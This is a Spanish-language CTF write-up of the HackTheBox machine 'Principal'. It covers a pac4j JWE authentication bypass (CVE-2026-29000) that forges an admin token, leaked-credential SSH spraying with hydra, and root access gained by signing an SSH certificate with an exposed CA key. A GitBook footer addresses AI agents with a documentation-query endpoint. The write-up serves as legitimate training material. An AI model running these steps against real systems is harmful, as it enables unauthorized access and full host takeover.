> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Writeup principal de HackTheBox

Writeup de la máquina Linux Medium Principal de HackTheBox que cubre un bypass de autenticación JWE de pac4j, enumeración de API, reutilización de credenciales SSH y escalada de privilegios mediante CA de SSH.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Habilidades:**

* Escaneo de puertos y enumeración de aplicaciones web
* Bypass de autenticación de pac4j JWE (CVE-2026-29000)
* Enumeración autenticada de API y reutilización de credenciales
* Escalada de privilegios de la autoridad certificadora SSH
  {% endhint %}

## Reconocimiento

### Configuración del entorno de trabajo

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Escaneo de puertos

Comience con un escaneo TCP completo para identificar los servicios expuestos:

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

El escaneo identifica SSH en el puerto `22` y HTTP en el puerto `8080`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Realice un escaneo dirigido de servicios y versiones:

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Análisis de la aplicación web

La aplicación web escucha en el puerto `8080`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

La aplicación usa pac4j `1.2.0`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Bypass de autenticación

Esta versión de pac4j es vulnerable a un bypass de autenticación mediante un PlainJWT envuelto en JWE. El problema se rastrea como `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Enumere las rutas de la aplicación con Gobuster:

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

El panel redirige a los usuarios no autenticados a la página de inicio de sesión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

Cargar el panel desencadena una solicitud a `/api/auth/jwks`, que expone el conjunto público de claves web JSON:

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Use la clave pública expuesta para generar un token de administrador válido.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Utilice la siguiente prueba de concepto:

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Ejecute la prueba de concepto con el `admin` nombre de usuario y `ROLE_ADMIN` rol:

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

La prueba de concepto devuelve un token portador de administrador. Guárdelo en una variable antes de realizar solicitudes autenticadas:

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Enumeración autenticada de API

Revisión `static/js/app.js` para identificar las rutas expuestas de la API:

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Use el token de administrador para enumerar usuarios. La solicitud capturada a continuación llama a `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

La respuesta enumera ocho usuarios. La `svc-deploy` cuenta es especialmente relevante porque gestiona despliegues automáticos de certificados SSH.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"Seguridad TI","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Cuenta de servicio para despliegues automáticos mediante autenticación con certificado SSH.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Líder de equipo - servicios de backend","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Ingeniería","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Desarrollador frontend","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Ingeniería","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Gerente de operaciones","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operaciones","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Analista de seguridad - de licencia hasta el 6 de enero","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"Seguridad TI","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"Ingeniero de QA","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Director de ingeniería","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Ingeniería","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

A continuación, solicite la configuración de la aplicación a través de `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Formatee la respuesta JSON con `jq` para revisar la configuración:

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Plataforma interna Principal","javaVersion":"21.0.10","serverType":"Jetty 12.x (embebido)","environment":"producción","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"sin estado"},"integrations":[{"status":"conectado","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"conectado","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"conectado","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"La autenticación con certificado SSH está configurada para automatización - consulte /opt/principal/ssh/ para la configuración de la CA.","database":"H2 (embebido)","sshCertAuth":"habilitada"}}' | jq
```

{% endcode %}

El `valor de encryptionKey` expone una contraseña reutilizable:

* D3pl0y\_$$H\_Now42!

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### Acceso SSH

Pruebe la contraseña filtrada contra los nombres de usuario obtenidos de la API:

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

La contraseña es válida para la `svc-deploy` cuenta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Conéctese como `svc-deploy` y recupere la bandera de usuario:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Escalada de privilegios

El `svc-deploy` cuenta pertenece al `deployers` grupo.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Enumere los archivos accesibles para este grupo:

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

El grupo puede acceder al material de la autoridad certificadora SSH:

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Inspeccione `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# Configuración SSH de la máquina Principal
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` permite la autenticación de root con una clave. La clave privada de la CA accesible puede firmar un certificado para el `root` principal.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Aproveche la autoridad certificadora SSH

Genere un par de claves temporal:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Firme la clave pública para el `root` principal con la clave privada de la CA expuesta:

`-I` establece la identidad del certificado. `-n` establece el principal válido.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Conéctese localmente como `root` con el certificado firmado:

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Recupere la bandera de root:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.